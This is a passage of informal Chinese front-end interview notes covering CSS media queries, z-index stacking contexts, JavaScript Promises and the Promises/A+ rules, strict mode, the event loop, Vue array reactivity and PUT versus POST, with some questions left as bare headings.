例如：720p HD电视（p表示逐行扫描）匹配 scan:progressive

1080i HD电视（i表示隔行扫描）匹配 scan:interlace

13.grid 用来检测输出设备是网络设备还是位图设备

写法：

1、link上面media属性判断，是否加载该css

eg：<link rel="stylesheet" type="text/css" media="screen and orientation:portrait" href="css/sreen_style.css" />

orientation:portrait 意思是显示屏是纵放的，yes，加载该css

not 在媒体查询的开头加上会颠倒改查询的逻辑

and 是并||

， 或

2、css文件外链css文件

@import url("phone.css") screen and (max-width:360px); /*当显示屏最大宽度小于360px时加载 */

3、直接书写：

```
@media screen and (max-width:980px) {
    body{
      background:#f0f;
      font-size:12px;
    }
}
```

81、Promise和传统的异步调用有什么区别

传统的异步调用：事件触发、回调。

可读性差；异常处理不方便；

Promise：

在完成后，再添加在then里面的方法还是会被执行；

82、虚拟DOM的虚拟体现在哪?

Virtual DOM算法步骤：

用 JavaScript 对象结构表示 DOM 树的结构；然后用这个树构建一个真正的 DOM 树，插到文档当中

当状态变更的时候，重新构造一棵新的对象树。然后用新的树和旧的树进行比较，记录两棵树差异

把2所记录的差异应用到步骤1所构建的真正的DOM树上，视图就更新了

Virtual DOM 本质上就是在 JS 和 DOM 之间做了一个缓存。可以类比 CPU 和硬盘，既然硬盘这么慢，我们就在它们之间加个缓存：既然 DOM 这么慢，我

们就在它们 JS 和 DOM 之间加个缓存。CPU（JS）只操作内存（Virtual DOM），最后的时候再把变更写入硬盘（DOM）。

83、如何解决多个 promise 的嵌套问题

如果多个promise之间没有关联，可以使用Promise.all()

如果多个promise之间有关联，那么可以在前面的then里面return后面的promise，如：

```
query({id:12}).then(function(data){
    console.log(data);
    return query({id:13});
}).then(function(data2){
    console.log(data2);
    doXXX();
});
```

这样第二个的状态就会受到第一个影响。

let和var的区别

const

apply和bind的参数

promise

arguments

元素重叠的方式，z-index 堆栈：

使堆栈上下文生效的方法：

当一个元素有一个position值而不是static，有一个z-index值而不是auto

z-index值不为auto的flex项(父元素display:flex | inline-flex)

元素的透明度opacity值不等于1

元素的变形transform不是none

元素的mix-blend-mode值不是normal

元素的filter值不是none

元素的isolation值是isolate

will-change指定的属性值为上面的任意一个

元素的-webkit-overflow-scrolling设置为touch

堆叠规则如下：

下面是几条基本的规则，来决定在一个单独的堆栈上下文里的堆栈顺序（从后向前）：

1. 堆栈上下文的根元素

2. 定位元素（和他们的子元素）带着负数的z-index值（高的值被堆叠在低值的前面；相同值的元素按照在HTML中出现的顺序堆叠）

3. 非定位元素（按照在HTML中出现的顺序排序）

4. 定位元素（和他们的子元素）带着auto的z-index值（按照在HTML中出现的顺序排序）

5. 定位元素（和他们的子元素）带着正z-index值（高的值被堆叠在低值的前面；相同值的元素按照在HTML中出现的顺序堆叠）

当z-index和position属性不被包括在内时，这些规则相当简单：基本上，堆栈顺序和元素在HTML中出现的顺序一样。（好吧，其实是有一点复杂的，但是只要你不使用压缩边界来重叠行内元素，你可能不会遇到边界问题。）

当你把位置属性也包括在内介绍时，任何定位元素（和他们的子元素）都在非定位元素前被显示出来。（说一个元素被“定位”意思是它有一个不同于静态的位置值，例如相对的，绝对的，等等。）

当z-index被提及时，事情变的有点儿复杂。最初，很自然的假设带有高z-index值的元素会在带有低z-index值的元素前面，但是后来发 现没那么简单。首先，z-index只对定位元素起作用。如果你尝试对非定位元素设定一个z-index值，那么肯定不起作用。其次，z-index值能 创建堆栈上下文环境，并且突然发现看似简单的东西变的更加复杂了。

堆栈上下文：

每 一个堆栈上下文都有一个HTML元素作为它的根元素。当一个新的堆栈上下文在一个元素上形成，那么这个堆栈上下文会限制所有的子元素以堆栈的顺序存储在一 个特别的地方。那意味着一旦一个元素被包含在处于底部堆栈顺序

的堆栈上下文中，那么就没有办法先出现于其他处于更高的堆栈顺序的不同堆栈上下文元素，就算 z-index值是十亿也不行！

怎么样异步，promise

float

html5

知不知道node

new对象的过程

严格模式和非严格模式

严格模式对正常的 JavaScript语义做了一些更改。

首先，严格模式消除了一些 JavaScript的静默错误，通过改变它们来抛出错误。

其次，严格的模式修复了 JavaScript引擎难以执行优化的错误：有时候，严格模式代码可以比非严格模式的相同的代码运行得更快。

第三，严格模式禁用了在ECMAScript的未来版本中可能会定义的一些语法

1.严格模式下, **delete运算符后跟随非法标识符**(即delete 不存在的标识符)，会抛出语法错误； 非严格模式下，会静默失败并返回false

2.严格模式中，对象直接量中**定义同名属性**会抛出语法错误； 非严格模式不会报错

3.严格模式中，函数形参存在同名的，抛出错误； 非严格模式不会

4.严格模式不允许**八进制**整数直接量（如：023）

5.严格模式中，arguments对象是传入函数内实参列表的静态副本；非严格模式下，arguments对象里的元素和对应的实参是指向同一个值的引用

6.严格模式中 eval和arguments当做关键字，它们不能被赋值和用作变量声明

7.严格模式会限制**对调用栈的检测能力**，访问**arguments.callee.caller会抛出异常**

8.严格模式 **变量必须先声明**，直接给变量赋值，不会隐式创建全局变量，**不能用with**.(严格模式下无法再意外创建全局变量。在普通的JavaScript里面给一个拼写错误的变量名赋值会使全局对象新增一个属性并继续“工作”（尽管后面可能出错：在现在的JavaScript中有可能）。严格模式中意外创建全局变量被抛出错误替代：）

9.严格模式中 call apply传入null undefined保持原样不被转换为window

promise和setTimeout的异步内部有什么不同

promise的异步会比setTimeout的先执行。一个浏览器环境只有一个事件循环，但是可以有多个任务队列。相同任务源的任务必须放到同一个任务队列，但不同任务源的任务可以放到不同任务队列。有多个任务队列，可以方便调整优先级。

任务队列有macrotast（task）和microtast（job）两个概念，表示异步任务的两种分类。在挂起任务的时候，JS引擎会将所有的任务按照类别分到这两个队列中，首先在macrotast的队列中取出第一个任务（一开始的所有代码），执行完毕后取出microtast队列中的所有任务顺序执行；之后再取macrotast任务，周而复始，直至两个队列的任务都取完。

两个类别的具体分类如下：

- **macro-task:** script（整体代码）, `setTimeout`, `setInterval`, `setImmediate`, I/O, UI rendering
- **micro-task:** `process.nextTick`, `Promises`（这里指浏览器实现的原生 Promise）, `Object.observe`, `MutationObserver`

详见 stackoverflow 解答 或 这篇博客

promise规范

1、术语：

`promise`是一个包含了兼容promise规范then方法的对象或函数，

`thenable` 是一个包含了then方法的对象或函数。

`value` 是任何Javascript值。（包括 undefined, thenable, promise等).

`exception` 是由`throw`表达式抛出来的值。

`reason` 是一个用于描述Promise被拒绝原因的值。

2、要求

Promise状态：

一个Promise必须处在其中之一的状态：pending, fulfilled 或 rejected.

- 如果是pending状态,则promise：

- 可以转换到fulfilled或rejected状态。

- 如果是fulfilled状态,则promise：

  - 不能转换成任何其它状态。
  - 必须有一个值，且这个值不能被改变。

- 如果是rejected状态,则promise可以：

  - 不能转换成任何其它状态。
  - 必须有一个原因，且这个值不能被改变。

”值不能被改变”指的是其identity不能被改变，而不是指其成员内容不能被改变。

then方法：

onFulfilled 和 onRejected 都是可选参数：

a. 如果onFulfilled不是一个函数，则忽略之。

b. 如果onRejected不是一个函数，则忽略之。

如果onFulfilled是一个函数:

a. 它必须在promise fulfilled后调用， 且promise的value为其第一个参数。

b. 它不能在promise fulfilled前调用。

c. 不能被多次调用。

如果onRejected是一个函数,

a. 它必须在promise rejected后调用， 且promise的reason为其第一个参数。

b. 它不能在promise rejected前调用。

c. 不能被多次调用。

onFulfilled 和 onRejected 只允许在 execution context 栈仅包含平台代码时运行. [3.1].

onFulfilled 和 onRejected 必须被当做函数调用 (i.e. 即函数体内的 this 为undefined). [3.2]

对于一个promise，它的then方法可以调用多次.

a. 当promise fulfilled后，所有onFulfilled都必须按照其注册顺序执行。

b. 当promise rejected后，所有OnRejected都必须按照其注册顺序执行。

then 必须返回一个promise [3.3].

promise2 = promise1.then(onFulfilled, onRejected);

a. 如果onFulfilled 或 onRejected 返回了值x, 则执行Promise解析流程[[Resolve]](promise2, x).

b. 如果onFulfilled 或 onRejected抛出了异常e, 则promise2应当以e为reason被拒绝。

c. 如果 onFulfilled 不是一个函数且promise1已经fulfilled，则promise2必须以promise1的值fulfilled.

d. 如果 OnReject 不是一个函数且promise1已经rejected, 则promise2必须以相同的reason被拒绝.

解析过程：

Promise解析过程 是以一个promise和一个值做为参数的抽象过程，可表示为[[Resolve]](promise, x)（在promise内resolve（x））. 过程如下；

如果promise 和 x 指向相同的值, 使用 TypeError做为原因将promise拒绝。

如果 x 是一个promise, 采用其状态 [3.4]:

a. 如果x是pending状态，promise必须保持pending走到x fulfilled或rejected.

b. 如果x是fulfilled状态，将x的值用于fulfill promise.（x中resolve的参数）

c. 如果x是rejected状态, 将x的原因用于reject promise..

如果x是一个对象或一个函数：对象中是否有then

a. 将 then 赋为 x.then. [3.5]

b. 如果在取x.then值时抛出了异常，则以这个异常做为原因将promise拒绝。

c. 如果 then 是一个函数， 以x为this调用then函数， 且第一个参数是resolvePromise，第二个参数是rejectPromise，且：

i. 当 resolvePromise 被以 y为参数调用, 执行 [[Resolve]](promise, y).

ii. 当 rejectPromise 被以 r 为参数调用, 则以r为原因将promise拒绝。

iii. 如果 resolvePromise 和 rejectPromise 都被调用了，或者被调用了多次，则只第一次有效，后面的忽略。

iv. 如果在调用then时抛出了异常，则：

1. 如果 resolvePromise 或 rejectPromise 已经被调用了，则忽略它。

2. 否则, 以e为reason将 promise 拒绝。

d. 如果 then不是一个函数，则 以x为值fulfill promise。

如果 x 不是对象也不是函数，则以x为值 fulfill promise。

实现预加载模块需要哪些API

url；创建一个元素带有url的元素；当url指向的元素加载完成时的回调函数，出错时的回调

vue双向绑定，当是数组的时候如何更新

1、定义一个对象，将push、pop、shift、unshift、splice、sort、reverse这些方法都在对象上重新用defineProperty定义，里面会进行判断，并观察，或者触发更新。（对数组使用方法改变的时候）

2、修改Observer对象，当遍历data中的key的时候，如果是数组，就将该数组对象的__proto__指向前面定义的对象，并执行this.observeArray(value)。(对数组中的值进行更改的时候)

```
// 观测数据元素
Observer.prototype.observeArray = function (items) {
 for (let i = 0, l = items.length; i < l; i++) {
 observe(items[i])
 }
}
```

让两个元素重叠，有哪几种方法

position

put和post的区别

put请求是idempotence的，后一个请求会覆盖前面一个请求。

put：存在则修改，不存在则创建

POST 是非幂等，每次 POST 都会增加一个 record ； PUT 是幂等 且完全替换，每次 PUT 都会对指定的 record 进行更新

语义上的区别

不足：

新技术的了解

[redacted]